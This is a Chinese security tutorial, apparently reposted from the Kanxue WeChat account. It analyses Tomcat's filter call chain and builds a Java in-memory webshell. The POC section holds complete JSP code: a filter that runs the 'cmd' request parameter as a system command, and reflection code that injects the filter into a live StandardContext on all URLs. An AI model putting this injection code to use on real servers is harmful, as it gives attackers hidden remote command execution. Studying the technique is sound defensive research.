一
实验环境
步骤
-
使用Intellij IDEA新建maven项目,选择maven-archetype-webapp。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.milon</groupId>
<artifactId>MemoryTrojan</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<name>MemoryTrojan Maven Webapp</name>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.1</version>
<scope>provided</scope>
</dependency>
<!--引入tomcat是为了调试源码-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.100</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<finalName>MemoryTrojan</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>
@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().write("HelloServlet doGet...");
}
}
@WebFilter(urlPatterns = "/hello")
public class HelloFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) {
System.out.println("HelloFilter init");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println("HelloFilter doFilter");
chain.doFilter(request, response);
}
@Override
public void destroy() {
System.out.println("HelloFilter destory");
}
}
二
分析调用链
现在反推第一个问题:filters数组从哪里赋值?
按ctrl点filters,寻找其赋值操作:
http://localhost:8080/MemoryTrojan/hello
触发HelloFilter的执行,断点停在这里,filters数组元素被赋值为一个filterConfig变量,而filterConfig是由addFilter方法的参数传入的:可以看看filterMap都包含了哪些信息:
接下来反推第二个问题:filterMap从何而来?
继续按ctrl点击filterMap跳转至定义:
分析完filterMap后,我们再回到此处,分析StandardContext对象的findFilterConfig方法:
至此可以得到第三个结论:构造一个ApplicationFilterConfig类型的对象filterConfig,并传入一个包含过滤器类型的filterDef,再将filterConfig放入HashMap类型的对象filterConfigs中,tomcat即可获取到该filterConfig。
三
POC编写
定义一个有RCE的Filter
<%!
public class ShellFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
%>
注入该filter
<%
/* 通过反射获取到StandardContext对象 */
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
final String filterName = "shellFilter";
/* 定义filterDef */
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new ShellFilter());
filterDef.setFilterName(filterName);
filterDef.setFilterClass(ShellFilter.class.getName());
standardContext.addFilterDef(filterDef);
/* 利用反射构造filterConfig,同时传入filterDef */
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
/* 通过反射获取filterConfigs,并放置filterConfig */
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put(filterName, filterConfig);
/* 定义filterMap,并添加到standardContext中 */
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMap(filterMap);
%>
http://localhost:8080/MemoryTrojan/poc.jsp
,此时filter已经被注入到tomcat中,然后访问
http://localhost:8080/MemoryTrojan/?cmd=calc
,即可执行系统命令弹出计算器:参考:
看雪ID:米龙·0xFFFE
https://bbs.kanxue.com/user-home-997719.htm
# 往期推荐
2、恶意木马历险记
球分享
球点赞
球在看
点击阅读原文查看更多
原文始发于微信公众号(看雪学苑):Java内存马 Filter调用链分析